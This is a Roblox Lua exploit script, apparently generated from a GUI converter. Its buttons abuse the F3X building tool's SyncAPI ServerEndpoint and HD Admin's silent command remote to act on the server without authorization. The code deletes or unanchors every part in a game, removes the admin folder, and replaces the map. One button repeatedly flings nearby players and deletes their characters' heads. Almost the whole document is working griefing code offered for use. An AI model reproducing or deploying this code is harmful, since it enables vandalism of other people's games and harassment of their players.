					[1] = {
						["Part"] = part,
						["Face"] = Enum.NormalId.Top,
						["TextureType"] = "Decal"
					}
				}
			}
			_(args)


			local decalArgs = {
				[1] = "SyncDecal",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = Enum.NormalId.Top,
						["Texture"] = "rbxassetid://129848533443618",
						["Color"] = Color3.fromRGB(255, 255, 255),
						["Transparency"] = 0,
						["Shiny"] = 0,
						["StudsPerTileU"] = 1,
						["StudsPerTileV"] = 1
					}
				}
			}
			_(decalArgs)
		end

		local function RealmV2()
			local position = CFrame.new(0, 0, 0)
			local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
			resize(base, Vector3.new(1000, 1, 1000), position)
			toptexturecreate(base)
			toptextureadd(base)
			color(base, Color3.fromRGB(39, 70, 45))


			local spawnPosition = CFrame.new(0, 1, 0)
			local spawnPart = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnPosition, workspace)
			if spawnPart then
				resize(spawnPart, Vector3.new(6, 1, 6), spawnPosition)
				setanchor(spawnPart, true)
				setcollision(spawnPart, true)
				color(spawnPart, Color3.fromRGB(128, 128, 128)) 
				lock(spawnPart, true)
				name(spawnPart, "SpawnLocation")


				addspawndecal(spawnPart)

				print("yeh")
			else
				warn("no")
			end
		end

		local function unanchorall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") then
					task.spawn(function()
						lock(v, false)
						setanchor(v, false) 
					end)
				end
			end
		end

		local function realm()
			unanchorall()
			RealmV2()
		end

		realm()
		task.wait(1)
		storedCharacter.Parent = workspace
	end)

end;
task.spawn(C_32);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_34()
	local script = G2L["34"];
	script.Parent.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local player = Players.LocalPlayer

		local character = player.Character 

		local player = game.Players.LocalPlayer
		local char = player.Character

		local backpack = player.Backpack

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end

			return nil
		end

		-- get all info

		local f3x = getf3x()
		if not f3x then
			warn("you dont have f3x skid")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint

		local function delete(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function deleteall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if (v:IsA("BasePart") or v:IsA("UnionOperation")) and v.Name ~= "Sky" then
					spawn(function()
						delete(v)
					end)
				end
			end
		end

		deleteall()

	end)

end;
task.spawn(C_34);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_36()
	local script = G2L["36"];
	script.Parent.MouseButton1Click:Connect(function()

		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool

		for _,v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for _,v in ipairs(game.ReplicatedStorage:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint
		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end

		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end

		function Unanchor()
			for _,v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then
					local skip = false

					if v.Name == "Sky" then
						skip = true
					end

					local mesh = v:FindFirstChildOfClass("SpecialMesh")
					if mesh and tostring(mesh.MeshId):find("111891702759441") then
						skip = true
					end

					if v:IsA("MeshPart") and tostring(v.MeshId):find("111891702759441") then
						skip = true
					end

					if not skip then
						task.spawn(function()
							SetLocked(v,false)
							SetAnchor(false,v)
						end)
					end
				end
			end
		end

		Unanchor()

	end)

end;
task.spawn(C_36);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_38()
	local script = G2L["38"];
	local button = script.Parent
	local textbox = script.Parent.Parent:WaitForChild("nugget")

	button.MouseButton1Click:Connect(function()

		local assetId = textbox.Text
		if assetId == "" then return end

		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool

		for _, v in pairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for _, v in pairs(game.ReplicatedStorage:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end

		local function RemovePart(part)
			invoke({
				"Remove",
				{ part }
			})
		end

		local function DeleteSkyMesh()
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then
					for _, child in pairs(v:GetChildren()) do
						if (child:IsA("SpecialMesh") or child:IsA("Mesh")) 
							and tostring(child.MeshId):find("111891702759441") then
							RemovePart(v)
						end
					end
				end
			end
		end

		DeleteSkyMesh()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";fogcolor black ;unfog ;time 14.5")

	end)

end;
task.spawn(C_38);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_3a()
	local script = G2L["3a"];
	script.Parent.MouseButton1Click:Connect(function()

		local player = game.Players.LocalPlayer 
		local char = player.Character
		local tool

		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint
		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function DestroyFolder(folder)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = folder
				}
			}
			_(args)
		end

		local folderToRemove = workspace:FindFirstChild("HDAdminWorkspaceFolder")
		if folderToRemove then
			DestroyFolder(folderToRemove)
		end

	end)

end;
task.spawn(C_3a);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_3c()
	local script = G2L["3c"];
	script.Parent.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool
		for _, v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end
		if not tool then
			for _, v in ipairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end
		if not tool then return end
		local remote = tool.SyncAPI.ServerEndpoint
		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end
		local running = true
		task.spawn(function()
			while running and player.Parent do
				task.wait(0.5)
				char = player.Character
				if not char then continue end
				local function randomColor()
					return BrickColor.Random().Color
				end
				invoke({
					"SyncColor",
					{
						{Color=randomColor(), Part=char:FindFirstChild("Head"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("HumanoidRootPart"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Left Arm") or char:FindFirstChild("LeftUpperArm"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Right Leg") or char:FindFirstChild("RightUpperLeg"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Right Arm") or char:FindFirstChild("RightUpperArm"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Left Leg") or char:FindFirstChild("LeftUpperLeg"), UnionColoring=true}
					}
				})
			end
		end)
		local player = game.Players.LocalPlayer
		local warned = false
		local meshTypes = {
			Enum.MeshType.Brick,
			Enum.MeshType.Cylinder,
			Enum.MeshType.Sphere,
			Enum.MeshType.Wedge
		}
		local function getBuildingTool(player)
			for _, container in ipairs({player.Character, player.Backpack}) do
				if container then
					for _, item in ipairs(container:GetChildren()) do
						if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
							return item
						end
					end
				end
			end
			return nil
		end
		local function removeMesh(part)
			for _, child in ipairs(part:GetChildren()) do
				if child:IsA("SpecialMesh") then
					local tool = getBuildingTool(player)
					if tool then
						tool.SyncAPI.ServerEndpoint:InvokeServer("Remove", {child})
					elseif not warned then
						warn("why 😢")
						warned = true
					end
				end
			end
		end
		local function isAccessoryPart(part)
			if part:IsA("Accessory") then
				return true
			end
			if part.Parent and part.Parent:IsA("Accessory") then
				return true
			end
			return false
		end
		local function applyMesh(part)
			if isAccessoryPart(part) then return end
			if not part:IsA("Part") then return end
			removeMesh(part)
			local randomMeshType = meshTypes[math.random(1, #meshTypes)]
			local tool = getBuildingTool(player)
			if tool then
				tool.SyncAPI.ServerEndpoint:InvokeServer("CreateMeshes", {{Part = part}})
				tool.SyncAPI.ServerEndpoint:InvokeServer("SyncMesh", {{MeshType = randomMeshType, Part = part}})
			elseif not warned then
				warn("why😢")
				warned = true
			end
		end
		local function randomizeCharacterMeshes(character)
			for _, obj in ipairs(character:GetDescendants()) do
				if obj:IsA("Part") and not isAccessoryPart(obj) then
					applyMesh(obj)
				end
			end
		end
		while true do
			if player.Character then
				randomizeCharacterMeshes(player.Character)
			end
			task.wait(0.5)
		end

	end)

end;
task.spawn(C_3c);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_3e()
	local script = G2L["3e"];
	--ye ik, dis was leaked, but i putted it here, cuz why not?
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool

		for i, v in pairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for i, v in pairs(game.ReplicatedStorage:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		local remote = tool.SyncAPI.ServerEndpoint

		function _(args)
			remote:InvokeServer(unpack(args))
		end



		local RunService = game:GetService("RunService")
		local Players = game:GetService("Players")
		local player = Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()
		character.Humanoid.WalkSpeed='80'


		local function light(part,color)


			local createArgs = {
				"CreateLights",
				{
					{
						Part = part,
						LightType = "PointLight"
					}
				}
			}


			local syncArgs = {
				"SyncLighting",
				{
					{
						Part = part,
						LightType = "PointLight",
						Color = color,
						Brightness = 8,
						Range = 20,
					}
				}
			}

			_(createArgs)
			_(syncArgs)
		end

		function SetCollision(part, boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end

		function SetAnchor(boolean, part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end

		function CreatePart(cf, parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end

		function Resize(part, size, cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end

		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part, meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://" .. meshid
					}
				}
			}
			_(args)
		end

		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			remote:InvokeServer(unpack(args))
		end

		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://" .. texid
					}
				}
			}
			_(args)
		end

		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end

		function SetMaterial(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = int
					}
				}
			}
			_(args)
		end

		function MeshResize(part, size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end

		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			_(args)
		end

		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end

		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
			_(args)
		end

		function Color(part, color3)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color3
					}
				}
			}
			_(args)
		end

		audio=Instance.new('Sound',game.Workspace)
		audio.SoundId='rbxassetid://182755256'
		audio.Volume=3
		audio:Play()
		spawn(function()
			wait(3)
			audio:Destroy()
		end)



		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")
		local LocalPlayer = Players.LocalPlayer
		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		local KILL_RANGE = 10 
		local FLING_RANGE = 10 


		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for _, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for _, v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		local remote = tool.SyncAPI.ServerEndpoint

		function _(args)
			remote:InvokeServer(unpack(args))
		end




		function KillTarget(target)
			if target and target.Character then
				local head = target.Character:FindFirstChild("Head")
				if head then
					local args = {
						[1] = "SetLocked",
						[2] = { [1] = head },
						[3] = false
					}
					_(args)
					task.wait(0.1)
					local args2 = {
						[1] = "Remove",
						[2] = { [1] = head }
					}
					_(args2)
				end
			end
		end

		local function checkNearbyPlayers()
			if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
				return
			end

			local myPosition = LocalPlayer.Character.HumanoidRootPart.Position

			for _, player in ipairs(Players:GetPlayers()) do
				if player ~= LocalPlayer and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
					local distance = (player.Character.HumanoidRootPart.Position - myPosition).Magnitude

					if distance <= KILL_RANGE then
						local ReplicatedStorage = game:GetService("ReplicatedStorage")
						local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
						RequestCommand:InvokeServer(";fling "..player.Name)
						KillTarget(player)
						audio=Instance.new('Sound',game.Workspace)
						audio.SoundId='rbxassetid://138702491'
						audio.Volume=3
						audio:Play()
						spawn(function()
							wait(1)
							audio:Destroy()
						end)
					end
				end
			end
		end


		spawn(function()
			while true do
				local success, err = pcall(checkNearbyPlayers)
				if not success then
					warn("Error in checkNearbyPlayers: "..tostring(err))
				end
				task.wait(0.5)
			end
		end)


		local colorOptions = {
			Color3.fromRGB(255, 0, 255),
			Color3.fromRGB(0, 0, 255),
			Color3.fromRGB(255, 0, 0),
			Color3.fromRGB(0, 255, 0),
			Color3.fromRGB(255, 255, 0)
		}

		while true do
			local character = player.Character or player.CharacterAdded:Wait()
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			local torso = character:FindFirstChild("UpperTorso") or character:FindFirstChild("Torso")
			local arm = character:FindFirstChild("RightUpperArm") or character:FindFirstChild("Right Arm")
			local arm2 = character:FindFirstChild("LeftUpperArm") or character:FindFirstChild("Left Arm")
			local leg = character:FindFirstChild("LeftUpperLeg") or character:FindFirstChild("Left Leg")
			local leg2 = character:FindFirstChild("RightUpperLeg") or character:FindFirstChild("Right Leg")
			local head = character:FindFirstChild("Head")

			if torso and arm and arm2 and leg and leg2 and head then
				local currentColor = colorOptions[math.random(1, #colorOptions)]

				-- Base effects always apply
				spawn(function()
					light(torso, currentColor)
				end)
				spawn(function() Color(arm, currentColor) end)
				spawn(function() Color(arm2, currentColor) end)
				spawn(function() Color(leg, currentColor) end)
				spawn(function() Color(leg2, currentColor) end)
				spawn(function() Color(torso, currentColor) end)

				-- SIMPLE BUT EFFECTIVE MOVEMENT CHECK
				if humanoid and (humanoid.MoveDirection.Magnitude > 0 or torso.AssemblyLinearVelocity.Magnitude > 1) then
					-- Left arm trail (original code)
					spawn(function()
						heh = CFrame.new(0, 0, 0)
						local leftClone = remote:InvokeServer("CreatePart", "Normal", heh, character)
						leftClone.CanCollide = false
						spawn(function() Resize(leftClone, arm2.Size, arm2.CFrame) end)
						spawn(function() Color(leftClone, currentColor) end)
						spawn(function() SetMaterial(leftClone, Enum.Material.Neon) end)
						spawn(function() SetCollision(leftClone, false) end)
						SetTrans(leftClone, 0.3)
						wait(0.05)
						SetTrans(leftClone, 0.4)
						wait(0.05)
						SetTrans(leftClone, 0.5)
						wait(0.05)
						SetTrans(leftClone, 0.6)
						wait(0.05)
						SetTrans(leftClone, 0.8)
						wait(0.05)
						SetTrans(leftClone, 1)
						wait(0.05)
						DestroyPart(leftClone)
					end)

					-- Left leg trail (original code)
					spawn(function()
						heh = CFrame.new(0, 0, 0)
						local leftClone = remote:InvokeServer("CreatePart", "Normal", heh, character)
						leftClone.CanCollide = false
						spawn(function() Resize(leftClone, leg.Size, leg.CFrame) end)
						spawn(function() Color(leftClone, currentColor) end)
						spawn(function() SetMaterial(leftClone, Enum.Material.Neon) end)
						spawn(function() SetCollision(leftClone, false) end)
						SetTrans(leftClone, 0.3)
						wait(0.05)
						SetTrans(leftClone, 0.4)
						wait(0.05)
						SetTrans(leftClone, 0.5)
						wait(0.05)
						SetTrans(leftClone, 0.6)
						wait(0.05)
						SetTrans(leftClone, 0.8)
						wait(0.05)
						SetTrans(leftClone, 1)
						wait(0.05)
						DestroyPart(leftClone)
					end)


					spawn(function()
						heh = CFrame.new(0, 0, 0)
						local leftClone = remote:InvokeServer("CreatePart", "Normal", heh, character)
						leftClone.CanCollide = false
						spawn(function() Resize(leftClone, torso.Size, torso.CFrame) end)
						spawn(function() Color(leftClone, currentColor) end)
						spawn(function() SetMaterial(leftClone, Enum.Material.Neon) end)
						spawn(function() SetCollision(leftClone, false) end)
						SetTrans(leftClone, 0.3)
						wait(0.05)
						SetTrans(leftClone, 0.4)
						wait(0.05)
						SetTrans(leftClone, 0.5)
						wait(0.05)
						SetTrans(leftClone, 0.6)
						wait(0.05)
						SetTrans(leftClone, 0.8)
						wait(0.05)
						SetTrans(leftClone, 1)
						wait(0.05)
						DestroyPart(leftClone)
					end)


					spawn(function()
						heh = CFrame.new(0, 0, 0)
						local leftClone = remote:InvokeServer("CreatePart", "Normal", heh, character)
						leftClone.CanCollide = false
						spawn(function() Resize(leftClone, leg2.Size, leg2.CFrame) end)
						spawn(function() Color(leftClone, currentColor) end)
						spawn(function() SetMaterial(leftClone, Enum.Material.Neon) end)
						spawn(function() SetCollision(leftClone, false) end)
						SetTrans(leftClone, 0.3)
						wait(0.05)
						SetTrans(leftClone, 0.4)
						wait(0.05)
						SetTrans(leftClone, 0.5)
						wait(0.05)
						SetTrans(leftClone, 0.6)
						wait(0.05)
						SetTrans(leftClone, 0.8)
						wait(0.05)
						SetTrans(leftClone, 1)
						wait(0.05)
						DestroyPart(leftClone)
					end)


					spawn(function()
						heh = CFrame.new(0, 0, 0)
						local right = remote:InvokeServer("CreatePart", "Normal", heh, character)
						right.CanCollide = false
						spawn(function() Resize(right, arm.Size, arm.CFrame) end)
						spawn(function()
							Color(right, currentColor)
						end)
						spawn(function() 
							SetMaterial(right, Enum.Material.Neon) 
						end)
						spawn(function() 
							SetCollision(right, false)
						end)
						SetTrans(right, 0.3)
						wait(0.05)
						SetTrans(right, 0.4)
						wait(0.05)
						SetTrans(right, 0.5)
						wait(0.05)
						SetTrans(right, 0.6)
						wait(0.05)
						SetTrans(right, 0.8)
						wait(0.05)
						SetTrans(right, 1)
						wait(0.05)
						DestroyPart(right)
					end)
				end
			end
			wait(0.01)
		end

	end)

end;
task.spawn(C_3e);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_40()
	local script = G2L["40"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function SetReflectance(part,value)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Reflectance"] = value
					}
				}
			}
			_(args)
		end
		function SetMaterial(part,material)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = material
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
		function Sky(id)
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then

					SetName(v,"Sky")
					AddMesh(v)


					SetMesh(v,"111891702759441")

					MeshResize(v,Vector3.new(9000,9000,9000))
					SetReflectance(v,1234567890) 
					SetMaterial(v,"Glass") 
					Color(v,Color3.fromRGB(134,224,246))
					SetLocked(v,true)
				end
			end
		end
		Sky("109172666525942")

	end)

end;
task.spawn(C_40);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_42()
	local script = G2L["42"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";fogcolor black ;unfog ;time 5.7")

		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end
		if not tool then
			for _, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then
			warn("dude")
			return
		end

		local remote = tool.SyncAPI.ServerEndpoint
		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local processed = {}
		local function SetPropertiesOnce(part, color)
			if processed[part] then return end
			processed[part] = true


			_({"SyncMesh", {{
				Part = part, 
				VertexColor = color,
				Scale = Vector3.new(60000, 60000, 60000)  
			}}})
		end

		local ids = {
			["rbxassetid://111891702759441"] = Vector3.new(2.5, 2.5, 2.5),
			["rbxassetid://8006679977"] = Vector3.new(2.5, 2.5, 2.5)
		}

		for _, v in workspace:GetDescendants() do
			if v:IsA("BasePart") then
				local mesh = v:FindFirstChildOfClass("SpecialMesh")
				if mesh and ids[mesh.MeshId] then
					SetPropertiesOnce(v, ids[mesh.MeshId])
				end
			end
		end


	end)
end;
task.spawn(C_42);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_44()
	local script = G2L["44"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")

		local player = Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()


		local tool
		for _, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end
		if not tool then
			for _, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then
			warn("dude")
			return
		end

		local remote = tool.SyncAPI.ServerEndpoint  

		local function _(args)
			remote:InvokeServer(unpack(args)) 
		end

		local function SyncRotate(part, cf)
			_( { "SyncRotate", { { Part = part, CFrame = cf } } } )
		end

		local ids = {
			["rbxassetid://111891702759441"] = true,
			["rbxassetid://8006679977"] = true
		}

		local target
		for _, v in workspace:GetDescendants() do
			if v:IsA("BasePart") then
				local mesh = v:FindFirstChildOfClass("SpecialMesh")
				if mesh and ids[mesh.MeshId] then
					target = v
					break
				end
			end
		end

		if not target then
			warn("no")
			return
		end



		local base = target.CFrame
		local angle = 0
		local speed = math.rad(60)  


		RunService.Heartbeat:Connect(function(dt)
			if not target or not target.Parent then return end

			angle += speed * dt
			local cf = base * CFrame.Angles(angle, angle, angle)

			SyncRotate(target, cf)
			target.CFrame = cf  
		end)
	end)
end;
task.spawn(C_44);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_46()
	local script = G2L["46"];
	local button = script.Parent
	local textbox = script.Parent.Parent:WaitForChild("nugget")

	button.MouseButton1Click:Connect(function()
		local assetId = textbox.Text
		if assetId == "" then return end
		if not assetId:find("rbxassetid://") then
			assetId = "rbxassetid://" .. assetId
		end

		local Players = game:GetService("Players")
		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local backpack = player.Backpack

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
